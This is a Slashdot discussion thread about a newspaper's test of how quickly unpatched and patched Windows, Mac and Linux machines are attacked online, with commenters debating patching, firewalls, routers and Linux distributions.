Is Your OS Tough Enough?

LE UI Guy writes "A Denver Post article examines the Internet 'horrors' Windows, Mac and Linux users face simply being connected to the Internet with only an out-of-box configuration. Over the course of a single week the machines were scanned 46,255 times. The test didn't look into additional security threats caused by surfing the web or reading e-mail, just the connection itself."

Comments

Of course

[jdwest]

If you build it, they will come.

Re:Of course

[qw(name)]

Reminds me of starving dogs staring at a cat through a chain-link fence waiting for the gate to open.

Re:Of course

[Shanep]

Reminds me of starving dogs staring at a cat through a chain-link fence waiting for the gate to open.

You must be refering to OpenBSD! If only those dogs could understand human language, we could tell them that those gates will never be opened. ; )

Re:Of course

[awing0]

Only one open gate in the default install, in more than 8 years!

Re:Of course

[Mistlefoot]

The fact is.......

that anyone selling a box online without putting the most recent patches on the operating system provided should be shot. At a bare minimum making certain that reasonable measures are taken like some sort of firewall and an OS updater running OR a caveat to the buyer should be required.

Putting a box with almost 4 year old unpatched OS is stupid and should not have been included in the test. To include the original XP and not lets say RedHat 7 for example shows a bit of a skewed results.

Windows is already more prone to attacks. There really is no need to offer the original XP in the story EXCEPT to show users how imnportant it is to patch after a format or system recovery.

Re:Of course

[MoriaOrc]

Except, as the article says, WinXP SP1 is still quite common. Hell, I still use Win2k SP4. I wish they'd run the test with that.

Re:Of course

[DaveJay]

Better question: does ANYONE put a box on the internet these days without a router between them and the connection?

(actually, now that I think about it, I can name several. Methinks I need to go have a talk with some friends and family.)

Re:Of course

[teece]

Putting a box with almost 4 year old unpatched OS is stupid and should not have been included in the test. To include the original XP and not lets say RedHat 7 for example shows a bit of a skewed results.

I guarantee you there are millions of Windows XP SP1 machines on the 'net right now. How many RedHat 7s are out there? Not so many. First off, Linux is much less common in general, and second, Linux is much more likely to be administered by professionals, and thus properly patched.

So sorry, to NOT include Windows XP SP1 would have been the stupid thing to do.

It would have been interesting to see what would happen to an older Linux distro, but it would have been trivia compared to what happens to SP1. I'm actually surprised they included any non-Windows OSs at all, though.

Re:Of course

[TCM]

Better question: does ANYONE put a box on the internet these days without a router between them and the connection?

Of course. That box doesn't run Windows obviously. And it _is_ my router.

Re:Of course

[RenatoRam]

What a silly question... most of the world is still on modem dial-up, and most of the people who have DSL (at least in italy) have USB ADSL modems, and a such they are directly on the internet just as well.

Only tech savvy people know that there is a reason to spend double (but still as low as 40EUR AFAIR) to buy an ethernet modem/router. The other 95% will simply buy the cheapest (and crappiest) USB modem on the market. Or worse, they'll take the leased one from the telco: they specifically seem to choose the worst models :-)

Re:Of course

[Freexe]

There would be nothing wrong if that box was a Windows box. The built-in firewall is one of the best, and as long as you keep patches upto date it can be useful having it as a windows box.

Re:Of course

[Shanep]

There would be nothing wrong if that box was a Windows box. The built-in firewall is one of the best

Are you serious?

Re:Of course

[X0563511]

Some telcos (like mine) require you to use their leased modem. If you try any other modem (well, at least any other MAC. If you can alter your modem's MAC and find a way to sneak the modems software past those anti-anti-cap scans/updates, it would work) you don't get access to the world.

Re:Of course

[Freexe]

For a router/server machine the firewall effectivly blocks all incoming packets. If your users are stupid enough to download and run crapware that is something else.

Re:Of course

[bdsesq]

And according to the Microsoft quote in the article SP1 is an out of date OS.
After all the last one was sold at Xmas.

How in the world can Microsoft say something they were selling two months ago is "out of date"?

Of course the purchaser could turn the firewall on or get a hardware firewall. But they are helpless guppies who don't know any better. If they knew any better they wouldn't have been buying SP1 then.

Re:Of course

[FireFury03]

Putting a box with almost 4 year old unpatched OS is stupid and should not have been included in the test.

I don't think it's stupid to do this, but it should only be done if you're doing the same with other systems. I find a lot of these honeypot test reports do not test comparable operating systems. What they should be including in the test is:

1. Fully patched up Windows against fully patched up Linux
2. Windows against linux, both patched to the latest patches that were around 3 months ago.
3. Windows vs. Linux patched up to 6 month old patch level.
4. 1 year old
5. 2 years old
6. 4 years old
7. 8 years old

By doing this you are comparing systems from identical eras (and yes, I think you do need to go to 8 years old, like it or not there are some morons who are using 8 year old unpatched systems... and also it'll be kinda interesting to see if they're actually still getting attacked).

I do still think, however, that Linux will come out way less vulnerable than the windows from the same era for 2 reasons: 1. the userbase (or maybe the number of clueless users) is larger on Windows, so it attracts more cracks, especially (semi)automated ones. 2. Open systems tend to get patches released reasonably soon after an exploit is found whereas microsoft have a habit of leaving it until it's actually being exploited in the wild before releasing a patch - again, not much point in writing a worm for linux systems if 99% of them are already patched anyway.

Re:Of course

[FireFury03]

How in the world can Microsoft say something they were selling two months ago is "out of date"?

Yeah, I would say that the comments from MS themselves are pretty damning there - that they would expect an OS they were selling 2 months ago to be completely riddled with holes to the point that it's cracked within 18 minutes of being connected.

Re:Of course

[guile*fr]

make that 90 secs

Re:Of course

[SillyNickName4me]

Of course reading is very difficult and all.. but still..

The fact is that they were testing what people are using TODAY, not what shops should be selling and people might be using in the future.

With regards to SP1, the following quote from the article seems somewhat relevant:

Many computers around the world are still running Windows SP 1, though exact numbers are hard to come by. Gartner research director Michael Silver estimates that by the end of 2005, half of the world's desktops used in businesses will still be using SP 1.

So, while you are right that people should be running SP2 if they use Windows at all, many people are not doign so, and are extremely unlikely to start doing so in a reasonable amount of time. Hence looking at what a substantial part of the users is running is a very good idea. With regards to this, Win2k SP4 should have been tested as well.

Re:Of course

[XMyth]

Probably so...."one of the best" could mean that it never lets packets through that you have the rules set to not let through. Heh.

Give me QoS with pf on FreeBSD anyday.

Re:Of course

[Predius]

MS will provide SP2 on CD, all you have to do is ask. Got net access, fire up that firewall and download it. Its not like you have to go and buy XP + SP2 if you're running XP + SP1, it's a free update. How long has SP2 been out now?

Re:Of course

[FireFury03]

MS will provide SP2 on CD, all you have to do is ask. Got net access, fire up that firewall and download it. Its not like you have to go and buy XP + SP2 if you're running XP + SP1, it's a free update. How long has SP2 been out now?

I think you're missing the point - if I don't apply updates to a machine for 2 months I don't expect it to suddenly be *that* vulnerable to attack, and what's worse is that MS are saying that's to be expected.

Re:Of course

[Shanep]

For a router/server machine the firewall effectivly blocks all incoming packets.

If that is how it is configured. Don't you mean incoming packets which are not expected? As in, incoming packets which do not belong in something like a state table, etc? If I want an effective "firewall" that "blocks all incoming packets", I'll just unplug that machine from the network interfaces.

If your users are stupid enough to download and run crapware that is something else.

My curiosity is with you saying that XP's built-in firewall is one of the best .

Being an OpenBSD + pf user and also using various 3rd party software firewalls for MS Windows, where I have to (Windows), I find it a little odd that someone thinks that the built in firewall is "one of the best".

Re:Of course

[Anonymous Coward]

Yeah, I would say that the comments from MS themselves are pretty damning there - that they would expect an OS they were selling 2 months ago to be completely riddled with holes to the point that it's cracked within 18 minutes of being connected.

The ability to exploit it within 18 minutes isn't a function of how many vulnerabilities Windows XP has. It's a function of a huge number of systems continually trying to exploit two known vulnerabilities. If Linux had the same number of systems trying to exploit two of its known vulnerabilities it would probably have a similar infection time.

Re:Of course

[Anonymous Coward]

I think you're missing the point

I think it is you who are missing the point.

if I don't apply updates to a machine for 2 months I don't expect it to suddenly be *that* vulnerable to attack,

It's not *that* vulnerable. If you've applied all the latest patches except those from the past two months pre-SP2 versions of XP would not have succumbed to the two worms mentioned in the article.

Blaster was first discovered 8/11/2003. The patch for the vulnerability that Blaster exploits was released on 7/16/2003.

Sasser was first discovered 4/30/2004. The patch for the vulnerability that Sasser exploits was released on 4/13/2004.

Now I don't know about how they calculate time in your world but in this world both of those are easily more than two months old.

In addition XP SP1 became out of date the moment that XP SP2 was released. The fact that pre-SP2 versions were still being sold up until a couple of months ago doesn't mean that SP1 was out of date. Thus SP1 has been out of date since August 2004...over six months ago. People need to accept that Windows XP SP2 is the current version of Windows. If you're going to discuss the current state of Windows' security you'll have to use it as the reference point. Anything else is being disingenuous.

Re:Of course

[Predius]

Has MS been selling XP SP1 up till christmas, or had they infact stopped selling it but retailers continued selling old stock? If the latter, dunno what to do about that. I still say, you buy an OS, you pull down the latest updates. I thought XP tried to durring install anyways? Never had a machine with a live connection while installing, I'll have to try that.

Re:Of course

[FireFury03]

I still say, you buy an OS, you pull down the latest updates

Yeah, doesn't help when you get cracked whilest pulling down the updates though does it? (Yes, yes, I know you can ask MS for a SP2 CD but really, shouldn't that be bundled with the OS, even if it's just a CD taped to the outside of the box?)

I thought XP tried to durring install anyways?

Doesn't help if you're on a pay-per-minute dialup connection.

Re:Of course

[the_Bionic_lemming]

I guarantee you there are millions of Windows XP SP1 machines on the 'net right now. How many RedHat 7s are out there? Not so many. First off, Linux is much less common in general, and second, Linux is much more likely to be administered by professionals, and thus properly patched.

Going by that logic, Linux and Mac shouldn't of been included in the test because of the percentages of Windows boxes out there versus linux and Apple.

SP1 was included only to propogate FUD.

Re:Of course

[drew]

sure, i do. my freebsd box is the router...

Re:Of course

[ntropic]

And Mac OS X Jaguar is how old ? Jaguar isn't close to being current, yet it doesn't show a single succeful attack in the test. So it's not that SP1 is insecure simply because it is old. That is just the sort of simplistic and pathetic excuse we get from a monopoly which is not interested in fixing it's OS. Give it a few months and the same story will be repeated with SP2 and you'll be defending an updated SP3 or whatever they call it.

Re:Of course

[shotfeel]

SP1 was included only to propogate FUD.

IMO if someone is running SP1, a little (or a lot) of FUD is a good thing.

But I think you're right. It was included partly as a good "positive" control.

Re:Of course

[mdarksbane]

Note that they used OS X Jaguar, which is a whole point release behind the current Panther, which is itself going to be outdated within a couple months.

Re:Of course

[the_Bionic_lemming]

Yes, a positive control of FUD directly aimed at making a non story into More popular FUD.

I totally agree.

Re:Of course

[hanshotfirst]

How do you propose distributing the latest patches to oems to distributors to retailers in a timely manner? A pc can sit in a box for weeks or months from time of packaging to time of purchase. How many patches can MS release during that time?

Say you leave it to the retailer to pass out a free CD with patches with every box. Do they get a fresh shipment of CD's weekly? Who pays for the shipping on those?

Logistically, its not feasible for business.

Best approach I've seen:

Buy a machine. Buy Norton Ghost.
Ghost it to a second HD or external drive before putting it on any network.
Disconnect ghost drive.
Connect to the net to pull down patches/drivers/virus updates/zone alarm.
Disconnect from the network - burn downloads to CD/DVD
Re-install the ghost taken above
Apply patches, etc from CD/DVD
Reconnect to internet with a safe PC.

Slow internet connection - not much you can do about that with any update, these days. Go over to your buddy's house with cable and download the files there. Apply patches to your new PC before connecting to the net.

Re:Of course

[HD Webdev]

Never had a machine with a live connection while installing, I'll have to try that.

It'll be ok if you're on a firewalled network and there aren't any infected Win32 boxes on that same network. If you're directly connected to the internet, there's a good chance that you'll be infected before the new patches are applied unless you have a good firewall.

Otherwise, the very best way IMO to install XP on a box is to:

1) Install XP on an unconnected box.
2) Apply all of the patches with MS offline patchers or use Autopatcher.
3) Install a good 3rd party firewall and A/V.

optionally

4) Make an image of the partition of that complete install and use it for installations in the future. All that you need to do is put that image on a new computer, change the XP key to the one that belongs to that box, and connect to the internet to register.

That way, you can build a box, install windows in 5-6 minutes (plus time for any driver changes), and have it legally registered.

Re:Of course

[Em Adespoton]

And here's the comment that's most damning:

"SP 1 is not a current operating system," said [Microsoft representative] Sundwall. "It doesn't surprise me that it only took 18 minutes to get infected."

So it doesn't surprise MS that an OS that they had in distribution channels only 2 months ago only took 18 minutes to get infected after connecting it to the internet.

Re:Of course

[FireFury03]

How do you propose distributing the latest patches to oems to distributors to retailers in a timely manner? A pc can sit in a box for weeks or months from time of packaging to time of purchase. How many patches can MS release during that time?

For generic patches this is a problem, but for something as major as SP2 I don't see it as a massive issue. Also, MS have used their market position to force OEMs to do all sorts of nasty things, why can't they use that same marketting position to force the OEMs to burn a copy or recent patches onto CD when they sell a PC? (Hell, even if they did a new CD every 3-6 months, it'd still be better than nothing). MS could provide the OEMs with blank CD-Rs pre-printed with pretty MS labels so it even looks like an official MS CD when the OEM burns it.

Say you leave it to the retailer to pass out a free CD with patches with every box. Do they get a fresh shipment of CD's weekly? Who pays for the shipping on those?

See above - MS don't need to ship pre-pressed CDs to all OEMs, they can ship blank pre-printed CD-Rs and let the OEMs burn an image to the discs themselves (distributing CD images to OEMs every few months shouldn't be rocket science for a company who wants every one in the known universe to download SP2 over the internet).

Slow internet connection - not much you can do about that with any update, these days. Go over to your buddy's house with cable and download the files there.

I honestly don't have an answer to this, but like it or not people still do use slow connections. A good start (and this goes for linux distributions too so listen up!) would be to separate out the security updates from the bugfixes so people can get the more important updates without expending time and bandwidth on minor bugfixes - why does someone need to download the new all singing, all dancing DRM'd version of media player when they do a security update?

My parents have a Windows 2000 box and dial up over a 33k6 pay-per-minute connection (they only use the internet for email and a small amount of web surfing). I haven't bothered to do any auto-updates system on their box because trying to download updates over a modem is a waste of time - I've simply firewalled the hell out of the machine and made sure they don't use any MS software on it to access the internet.

And sorry, but popping over to a mate's house with a CD every month for the latest patch isn't something you'll convince many people to do. I also know people in rural areas where DSL is just plain not available, so those people would have to have mates outside their area but within reasonable driving distance who also have DSL - thats just not a feasable solution.

Re:Of course

[Lars T.]

How in the world can Microsoft say something they were selling two months ago is "out of date"?

Hey, most Slashdoters say that the OS they sell right now is out of date ;-)

Re:Of course

[Big Diluth]

Blaster was first discovered 8/11/2003. The patch for the vulnerability that Blaster exploits was released on 7/16/2003.

Sasser was first discovered 4/30/2004. The patch for the vulnerability that Sasser exploits was released on 4/13/2004.

Now I don't know about how they calculate time in your world but in this world both of those are easily more than two months old.

Your calendar must be running fast. That is actually 3-4 weeks or less than one month.

I do agree with your point that most users got infected only by not taking the most simple of precautions and using the automated Windows Update feature while running naked (without a firewall).

Any IT staff that got nailed by this shouldn't have been employed in the first place.

Re:Of course

[meme_police]

One of our stupid engineers put a Win2k SP4 box on a DiRECWAY satellite internet connection up at one of our transmitters, no admin password, and it was exploited with some IRC bots within 3 minutes. What the hell was he thinking?

Re:Of course

[mmarshall]

It seems that even those _with_ ethernet modems are not much better off. My SBCYahoo DSL account came with a free ethernet modem, but with the default settings, it serves DHCP to _only one_ interface, and forwards _everything_ to it. So really, I'll bet that most home users are directly connected.

Re:Of course

[mixmasta]

why make it so difficult?

Install behind a nice little NAT box/cable router. They're only 50 bucks now and solve all these headaches.

Then you install SP2 from cd, and get your patches from windows update, shutdown all the useless services and you are locked down pretty tight.

Re:Of course

[HD Webdev]

why make it so difficult?

Install behind a nice little NAT box/cable router. They're only 50 bucks now and solve all these headaches.

Actually, that $50 router isn't the solution. Just one example, it isn't likely to stop an infected computer on the network from infecting the computer you are installing the OS onto.

Make a few partition images for several manufacturers of motherboards and installing XP completely up to date should rarely take more than 15 minutes. And, no networking is needed.

That's hardly a hassle at all and makes sure that you don't have to rely on anything besides some cd/dvd's to quickly get a box up and running.

Re:Of course

[mixmasta]

I've installed multiple versions of windows behind my little NAT box hundreds of times (part of my previous job), and it blocked everything from a known multi-infected network.

If you have infected machines behind your little 4 port NAT, then you have bigger problems, and better to wipe or clean the computers and start over.

Your solution is fine for a large scale rollout. I thought this thread was not really about sysadmins though, it was about home users. They are not typically ones downloading patches beforehand, using autoinstallers, and making partition images, just to save time on a single install.

A little NAT box brings peace of mind whether at home or at a small business.

Re:Of course

[mixmasta]

Actually, I used my little NAT box on large, "enterprise" LAN, because the administrators weren't able to handle the infections in a timely manner, and I had to get work done.

So there ya go, my solution scales to the big company as well. I concede it would be a pain if I had to rollout dozens or hundreds of machines.

Of course, if you are installing that many, doing it one at a time with a bunch of install cd's would be a huge waste of time, as well. ;)

Re:Of course

[EndlessNameless]

:::I think you're missing the point - if I don't apply updates to a machine for 2 months I don't expect it to suddenly be *that* vulnerable to attack, and what's worse is that MS are saying that's to be expected.:::

Perhaps you're forgetting that you're talking about an OS that comes without any type of firewall enabled. When the testing method effectively limits the machine's exposure to only remote infection vectors and only one OS of the bunch has numerous services accessible by machines outside of its own subnet, it should be quite obvious what the results will be.

I agree with the grandparent. XP SP2 has been out for months, it is installed without any fuss if automatic updates are enabled (or if the user manually visits the Windows update site), it is incorporated into all presently-sold Windows installation CDs, it's preinstalled on all new OEM machines, and Microsoft will send in on CD to anyone for no charge. At this point, not having SP2 installed is a user error, especially after the splash Blaster, Welchia, Sasser, etc caused... even the regular news media was preaching the basics: firewall, updates, antivirus.

Connecting a Windows box without updates to the internet is the same kind of ignorance as driving a car around for 20,000 miles without changing the oil... anyone who knows anything about the machine in question can tell you three things: you shouldn't do it, bad things will happen if you do, and it is easy to avoid those particular problems. Spyware is obnoxious and virtually impossible for regular users to avoid at this point, but viruses and particular worms should not be nearly as rampant as they are, especially when there are so many ways to neutralize or mitigate the risks.

To sum it up: When the exploit exists due to human stupidity or ignorance, there is no patch.

Not News

[swillden]

This news isn't news. What's news is this news is in the news!

Re:Not News

[boisepunk]

That used to be true here, but everyone here knows that when you buy M$, you are wasting your money.

Re:Not News

[node 3]

This news isn't news. What's news is this news is in the news!

So then it is news. Otherwise the news that it's in the news couldn't be news.

Re:Not News

[KevMar]

Exactly, This does not tell us anything we did not know before. How many honeypot papers have told us this already.

It is sad that the internet has become so hostile. At work I connected one of our servers to a connection on the outside of our firewall for some remote support (didn't have the VPN papers signed yet). The moment that I enabled the nic, the server informed me that the RPC Service has failed and the computer will shut down.

I was foolish for not checking the patch levels. I assumed that someone else was on top of that. A mistake I will not make again. But home users have problems of their own. They don't know they have to keep it up patched. If I had my grandma running Linux, I would be the one patching it. What about converting all my friends and family to Linux. I would be so overwhelmed keeping each one current.

As it stands, I format, install XP /w SP2, change their user accounts to limited access, install spyware detection, antivirus, leave the firewall and automatic updates on, and finally put firefox on the desktop.

At the same time, I have to explain why XP is better than the 98 or ME that came with the computer, what SP2 is and why it takes so long, what a firewall is, what firefox is, why I created a special admin account for them to install stuff with and why the should never surf the web while logged into admin with the red background.

And if you are a slashdot regular, I am not telling you anything new. I should release this as a news story, but as we all know, this is not news. Its just the way it is.

--
Kevin Marquette
antispyware

Re:Not News

[Dizzle]

My head asplode.

Re:Not News

[ayn0r]

This news isn't news. What's news is this news is in the news!

So then it is news. Otherwise the news that it's in the news couldn't be news.

Yeah, but the news still is that this news is in the news instead of just being that the news is simply news by itself. The news that it's in the news is still news even though it's not the kind of news I'd want to read about in the news. I want to read about solid news that are news by themselves in the news, not news about news being in the news!

In this case I guess no news really are good news.

Re:Not News

[ookaze]

If I had my grandma running Linux, I would be the one patching it. What about converting all my friends and family to Linux. I would be so overwhelmed keeping each one current.

Wrong. that is if you want to be overwhelmed.
You have the choice to let them pay for auto-updates, or just put an automatic weekly update by cron, and that's it.

Re:Not News

[bitflip]

Some of us like articles that even our moms can read. Worthy of front-page, all by its lonesome? Probably not. But articles that are relevant to my profession, from sources that are familiar to my non-technical customers, and are simple enough to help me explain the problem to them, are quite welcome.

Re:Not News

[EinarTh]

Dont get it. Why is keeping Linux current so overwhelming? Install suse, create a user account, keep the firewall on, and use automatic updates. Skip the spyware and AV step and its the same. Works for my mom.

Re:Not News

[swillden]

Well *I* thought it was funny, anyway.

Re:Not News

[Politburo]

while logged into admin with the red background.

Now that's a good idea.

Re:Not News

[corpsiclex]

Keeping your grandmother up to date with the latest packages isn't really that hard, just set up a cron job to run 'yum -y upgrade'/reboot (or your distro equivilant) once or twice a week and she'll be reasonably up to date.

Re:Not News

[KevMar]

That just shows how little I know about linux. I have installed it a few times, ran it as a web sever, and use the live CD's to save me in a pinch. I have even had to recompile to add a few features in the past. But that is the extent of my experience. I use it until I realize that I am not missing anything and it is just as easy to use windows (that argument goes both ways).

I dont want to call myself an expert, but everyone around me does. But they (including myself) work and live in a windows enviroment. I can walk them step by step to solve mose user problems over the phone while I drive home. (I wouldn't know where to begin if it was linux).

I am getting off topic. I guess my point is people look to me for support and I know nothing about linux. I live in a microsoft dreamland. I dont mean to sound so anti linux, because I am not. I am just one of many that know windows inside and out, and dont have a clue on Linux. And there are a lot of us.

but thanks for the auto update tip.

Re:Not News

[ffub]

What about converting all my friends and family to Linux. I would be so overwhelmed keeping each one current.

Install a stable version of Ubuntu, set a cron job to run # apt-get update && apt-get upgrade and you'll get the latest security patches installed automatically. SUSE, Windows, and I presume Red Hat can be configured to do this.

Yet again...

[rpbailey1642]

I'm not that surprised, but Windows was the least secure. It should be noted that XP SP2 was installed and then the updates were applied "automatically" while none of the UNIX-ish systems had updates installed, just what came on the CDs. I know, competent admins can make any machine secure, but I wonder how MS can sleep at night knowing that their users are at such a high risk, even if they don't DO anything.

Re:Yet again...

[Anonymous Coward]

I wonder how MS can sleep at night

Obligatory: On piles and piles of money. :-)

Re:Yet again...

[dtfinch]

With the firewall enabled by default, and with no inexperienced user actively checking email and browsing all the while saying "yes yes yes I do want to download and run this active web page or whatever it is you stupid browser", SP2 didn't need the updates.

Re:Yet again...

[megarich]

What bothers me with windows is home use. You know how many home users are out there WITHOUT the latest patches becaue they don't know any better.

My friend had to reinstall his parents computer because it was too infested with virus/spyware and I had to yell at him to put on sp2 which he still didnt do because it wasn't showing up on windows update or something like that.

People with older dell systems pre sp2 just don't know and that scares me.

Re:Yet again...

[Anonymous Coward]

What bothers me with windows is home use. You know how many home users are out there WITHOUT the latest patches becaue they don't know any better.

My friend had to reinstall his parents computer because it was too infested with virus/spyware and I had to yell at him to put on sp2 which he still didnt do because it wasn't showing up on windows update or something like that.

People with older dell systems pre sp2 just don't know and that scares me.

While users not knowing is part of the problem there's another aspect: Those that know but refuse to do. You friend is a prime example. It's not just ignorance that's the problem.

Re:Yet again...

[Alan]

Didn't they prove in the spoof reality show My Big Fat Obnoxious Boss that sleeping on money was in fact, quite uncomfortable?

Re:Yet again...

[patman600]

to finish... "with many beautiful women" - Ranier Wolfcastle

Re:Yet again...

[endlessoul]

I'm not that surprised, but Windows was the least secure.

Did you even read the article? Quoted: "The good news is that none of the up-to-date, patched operating systems succumbed to a single attack.

The Windows Service Pack 2, or SP 2, system is the most up-to-date Windows operating system. It received 16 direct attacks."

SP2 is stated as being up-to-date. It's obviously secure.

Is reading articles optional?

Re:Yet again...

[VanillaCoke420]

"On a big pile of money with many beautiful ladies"

Re:Yet again...

[zbeeble]

but I wonder how MS can sleep at night knowing that their users are at such a high risk, even if they don't DO anything.

Horlicks ?

Re:Yet again...

[jaavaaguru]

Is reading articles optional?

You must be new here.

Re:Yet again...

[jaavaaguru]

These are the people who should be using a Mac. The Mac didn't have the latest patches, and contrary to Microsoft's "the tests prove that any operating system is vulnerable when not patched" statement, it wasn't vulnerable to any of the attacks it received.

One of the main technical differences between XP and OSX is that OSX has no services running that listen on ethernet or modem ports by default. Compare to XP which has RPC etc, which we call know is not a good thing to expose to the Internet.

Obvoisuly, you could run a firewall, but that's just hiding the problem. The proper solution would be to have an OS that doesn't have things like RPC accepting connections from just anywhere. If you must have RPC, why not have it on a loopback interface only?

Re:Yet again...

[SillyNickName4me]

> On a big pile of money with many beautiful ladies

I am sure the ladies help with spending more time in bed, but I am not so sure about the sleeping part.

Re:Yet again...

[SillyNickName4me]

> Most Linux systems get updated very regularly, so there might be 1000 packages that need to be updated, and the software download is maybe 800 MB.

800 MB is about half of the monthly transfer limit of many a home user overhere...

Even modern linux distros need to be sanitized

[Ars-Fartsica]

Look at all of the software and services running on a modern linux distro - FC3 for example. I have spent a great deal of time shutting off everything I really don't need and erasing piles of useless rpms installed by the distro (its 2005 - I don't need talk). Any software you don't use or services you do not need are just potential security holes.

Re:Even modern linux distros need to be sanitized

[dzo]

Just Do it right The first Time.

the Link.. http://www.gentoo.org

Re:Even modern linux distros need to be sanitized

[Nothinman]

All that does is move the time spent learning about the system and shutting down servers to waiting for things to compile. And chances are it'll take a lot longer to compile a useful system than it will to shutdown a few services.

And actually, I think RH has come with a deny all netfilter profile by default since like RH8 or 9, so listening services aren't a threat unless you disable the firewall.

Re:Even modern linux distros need to be sanitized

[LnxAddct]

FC has no services running by default that connect to the internet unless you specify otherwise. Also you have complete control over every program installed at installation time. Regardless, an entire FC3 install with all the thousands of applications takes up approx 4 gigs, thats really not much for what your getting. A server install is something like 800 mb, and thats before you cut off the fat. I always do a full install because its nice to just have everything you need, a program sitting on my harddrive isn't doing anyone any harm.

FC3's firewall is also set up very well and has been noted to have one of the best default setups out of many of the linux distros. Some of the other protections included in FC3 are SElinux which has policies for all major services and exec-shield is also extensively used. All major services connecting out are compiled with switches that randomize the memory allocation, which may have the negative side affect of taking a little longer to start because it can't prelink, but it really helps against many attacks because every machine has its memory mapped in different locations. The amount of security that Red Hat puts into FC3 while still leaving it so functional is pretty amazing. Most of the vulnerabilities found usually can't do much harm after you consider the layers of security and the other standard security measures, i.e. users and setting up perms correctly. Its nice to know though that the latest outbreak of [insert worm here] *probably* won't affect you.
Regards,
Steve

Re:Even modern linux distros need to be sanitized

[dzo]

I have found that You will spend alot more time fixing a redhat system. Sure you will have to wait for programs to compile but that is the magic of gentoo the reason you wait is because you compile your program with the features that you want! you dont have alsa on your system no need build it into all your programs less is more! so in conclusion you build and configure system yourself instead of fixing someone elses configuration!

Re:Even modern linux distros need to be sanitized

[DragoonAK]

Also you have complete control over every program installed at installation time.

Which install mode are you using? The recent FC releases don't give you this option during the X-based GUI installs, just a choice of package groups that have further options.

Re:Even modern linux distros need to be sanitized

[LnxAddct]

Hrm... my apologies, perhaps I was thinking of kickstart. As far as the gui install goes though, I thought you could individually select packages, but on second thought its probably done in groups. Because of dependencies though, things like KDE and Gnome can't really be left to individual selections. Your right, thanks for correcting me. I guess the best solution would be to do a minimal install and then yum in whatever else you want.
Regards,
Steve

Re:Even modern linux distros need to be sanitized

[Spoing]

1. Look at all of the software and services running on a modern linux distro - FC3 for example. I have spent a great deal of time shutting off everything I really don't need and erasing piles of useless rpms installed by the distro (its 2005 - I don't need talk). Any software you don't use or services you do not need are just potential security holes.

While I agree, I was stunned looking at the results of a Nessus scan (default) after completing a default install of Solaris on Sparc (E450). Wow. 9 known security holes and a bunch of services on by default and listening on open ports.

Sure, it's not Windows-bad, though it wasn't what I expected in the latest revision of Solaris (I've used a previous version of SunOS and have installed Solaris 8 & 9 on both x86 and Sparc hardware). Fedora Core does a much better job by default -- though I agree FC3 needs to be purged to make it clean and fully trustworthy.

Re:Even modern linux distros need to be sanitized

[brsmith4]

um, it seems like gentoo has shielded you from the world of actually compiling software yourself... if a program can use alsa, but you don't have it, chances are, there is a --disable-alsa switch in the ./configure script. It's not all that difficult to throw commands... Sure, emerge something sounds nice and all, but what do you really learn? A lot of gentoo folk claim that they 'learn' a lot about linux during the install... I think that this is more along the lines of "they learn about gentoo" more than anything else.

With fedora, it should take less than two minutes to disable the services that you don't need either through the System Services gui, or through the chkconfig command. Why the above poster even bothers removing packages (unless he has drive space constraints) is beyond me. And I have found that You will spend alot more time fixing a redhat system. is pure B.S. Care to elaborate on that a little bit, back it up with some real-world situations? up2date... with a good mirror, I have all the latest and greatest security patches in 1/50th the time it takes you to recompile all of your packages. Wanna upgrade my distro? Point yum to the new repository... 1/2 hour, done. Over the course of a year, it is obvious that gentoo requires a lot more work than a package based distro.

Re:Even modern linux distros need to be sanitized

[martinoforum]

Oh, be quiet. I use Gentoo, but there's no sensible reason to think that Average Joe Gentoo is going to know more about linux security than Average Redhat Employee.

Gentoo is not more secure, it just gives you the ability not to build stuff you don't want. That's entirely possible with other systems too, and the difference is that some of those (Fedora, for example) will set up a nice firewall etc before you get around to doing it yourself.

Re:Even modern linux distros need to be sanitized

[marsu_k]

I've been wondering about this... say you have a Linux box with no servers running (that is, no sshd/httpd/etc) which would (or should, rather) be a typical desktop setup, do you need to still have a firewall running?

I have iptables blocking mostly everything (except one port for Bittorrent), but would it be so bad if I didn't?

Re:Even modern linux distros need to be sanitized

[Lisandro]

That's the sweetnes of the notorious USE flags in Gentoo. If you want Alsa support on your programs, add it to the USE flags; if it's not there, packages compiled that don't require Alsa functionality (i.e, have it as an option), won't have it - it might be, just like you describe it, with a proper switch at compile time. It's simple, sleek design, and it works wonderfuly. The guys who designed Portage deserve a lot of recognition, it's one of it's many treats.

Also, the very nature of Gentoo (building packages from source) implies that you'll end up installing pretty much what you need, and what you need alone. I've found a lot of other distributions end up installing a lot of unneeded services on a default install - which is what the article discussed. My first Linux experience (early RedHat) was awful because of this - the default install had everything running, including Apache IIRC. My PII crawled.

So, before the flaming begins. Yes, i like Gentoo. No, i don't think it's the ultimate Linux distro, and i don't think it's for everyone - for example, i wouldn't really trust Gentoo on a server. But what it does, it does damn well. It's not a popular distro only because you compile packages from source - there's a couple others that do the same.
And yes, i've learned a lot from Gentoo. I learned a damn lot from Slackware as well - not because you compile, but because they force you to have atleast a slight idea of what you're doing. OTOH, you can install a modern release of, say, Mandrake, and use it pretty much as a Windows machine, zero issues. Not better, not worst. Just different.

Re:Even modern linux distros need to be sanitized

[blackdragon7777]

I first read FC3 as Final Cut Pro 3 then realized linux and was completely confused for a minute. Don't use acronyms, they only lead to confusion.

Re:Even modern linux distros need to be sanitized

[SillyNickName4me]

> That's the sweetnes of the notorious USE flags in Gentoo. If you want Alsa support on your programs, add it to the USE flags; if it's not there, packages compiled that don't require Alsa functionality (i.e, have it as an option), won't have it - it might be, just like you describe it, with a proper switch at compile time. It's simple, sleek design, and it works wonderfuly. The guys who designed Portage deserve a lot of recognition, it's one of it's many treats.

The people who created portage built on top of a much longer existing system. They perfected it to what portage is, but did very little actual design. If you want portage in a more generic and original form, try NetBSD's pkgsrc for example (and yes, it works on many Linux distros, and no, it is not the first such a system either, but much closer to the roots).

They (and Gentoo users in general) should be giving a bit more credit to those whom originated such ideas instead of proclaiming the many treats of Gentoo without any mentioning of where they came from.

Also, while I wouldn't use Gentoo on a server, I'd use any of the systems that the portage idea comes from for a server, Free/Net/OpenBSD have an extemely good reputation there.

For a desktop.. if you can justify one way or another tinkering with software then Gentoo is cool, if you need a tool to get work done then it is usually not so cool unless the job is extremely specialized and can't be done with 'out of the box' tools.

Lame article.

[Seumas]

Just because people can knock on every door doesn't mean that every door is as insecure as the next. You can knock on every door in a neighborhood, but some will be better constructed and have more secure locks. Still, none prevent one from knocking.

If they're only tracking ping/scan attempts, there is no reason to even include mac/linux in this.

Re:Lame article.

[angle_slam]

